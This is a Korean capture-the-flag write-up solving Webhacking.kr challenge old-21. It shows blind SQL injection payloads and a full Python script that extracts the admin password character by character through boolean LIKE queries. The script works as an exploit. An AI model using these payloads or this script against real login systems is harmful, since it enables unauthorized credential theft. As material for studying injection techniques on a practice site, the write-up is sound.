WarGame/Webhacking.kr

[Webhacking.kr] old-21 Answer

Old-21 Domain & Tool

  • 구분 : Blind SQL Injection
  • 문제풀이에 사용된 도구 
    • Chrome 103.0.5060.66 
    • python Module(Requests, beautrifulsoup)

 


Old-21 Question & Answer

대놓고 BLIND SQL Injection문제라고 되어있다. 의례 모든 홈페이지가 그렇듯 이곳에서도 guest/guest의 id/pw쌍이 있다.

<guest/guest입력시>

그리고 느낌상으로 admin으로 접속해야한다는것을 알겠으니, 틀리더라도 admin/123(잘못된 패스워드)로 접근해보자.

일단 틀렸을때의 결과는 login fail인거 같다. 그럼 당연한 질문을 database에 던져보자 get 방식이니 url로 파라미터를 전달해보자

  • id=admin&pw=1' or 1=1--%20

다음의 결과이다. 즉 참이면 "wrong password"를 뱉고, 거짓이면 "login fail"을 뱉는 blind SQL injection이다. pw의 길이를 알아내는것도 좋지만, guest도 있고중에 시도로 알아서 나오겠지만 언더바(_,  SQL에서 와일드카드로 쓰읜다)가 패스워드에 있어서 다음의 SQL Injection query문으로 python 돌렸다.

  • id=admin&pw=123'or 1=if(id like "admin" and pw like "{pw_check}%",1,0)-- "

실제로 코드에서는 모든 문자가 urlencode되어있다는것을 참고하기를 바란다. 추가로 언더바(_) 처리를 하기 위한 codlet도 함수 ret_next_pw에 마지막부분에 들어있다는것을 참고하자

from requests import get
from bs4 import *
import string
import copy

def ret_next_pw(pw) :

    next_item = list()
    
    url = "https://webhacking.kr/challenge/bonus-1/index.php?id=admin&"
    string_value = string.ascii_lowercase+string.digits+string.punctuation
    
    header = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36"}
    cookie = {"PHPSESSID":"/자신의 PHPSESSID/" }
    true_text=  "wrong password"
    false_text= "login fail"

    for s in range(33,128) :
        if(chr(s)=="_") :
            continue
        param = "pw=123%27or%201=if(id%20like%20%22admin%22%20and%20pw%20like%20\""+pw+chr(s)+"%25\",1,0)--%20"
        new_url = url+param
        res = get(new_url, headers=header, cookies=cookie)
        soup = BeautifulSoup(res.content,"html.parser")
    
        if(true_text in soup.text) :
            if(chr(s).lower() in next_item or chr(s).upper() in next_item) :
                continue
            next_item.append(chr(s))


    if(len(next_item)==0) :
        param = "pw=123%27or%201=if(id%20like%20%22admin%22%20and%20pw%20like%20\""+pw+"_"+"%25\",1,0)--%20"
        new_url = url+param
        res = get(new_url, headers=header, cookies=cookie)
        soup = BeautifulSoup(res.content,"html.parser")
        if(true_text in soup.text) :
            next_item.append("_")
            
    return next_item


if __name__=="__main__" :

    pw_answer = [""]

    confirmed_pw_list = [""]
    cur_list = list()
    pw_answer = pw_answer+cur_list

    stop_flag=False
    
    while(stop_flag==False) :
        print(pw_answer)   
        
        stop_flag=True

        copy_answer = copy.deepcopy(pw_answer)
        
        for item in copy_answer :
            cur_list = ret_next_pw(item)
            if(len(cur_list)!=0) :
                stop_flag = False
                for c in cur_list :
                    pw_answer.append(item+c)
                pw_answer.remove(item)
            else :
                confirmed_pw_list.append(item)
                pw_answer.remove(item)

    print("\n### END BLIND SQL INJECTION ###")
    print("PW :",confirmed_pw_list)

결과로 나온값이 admin의 pw이다. NICE!

'WarGame > Webhacking.kr' 카테고리의 다른 글

[Webhacking.kr] old-23 Answer  (0) 2022.07.27
[Webhacking.kr] old-22 Answer  (0) 2022.07.27
[Webhacking.kr] old-20 Answer  (0) 2022.07.22
[Webhacking.kr] old-19 Answer  (0) 2022.07.22
[Webhacking.kr] old-18 Answer  (0) 2022.07.22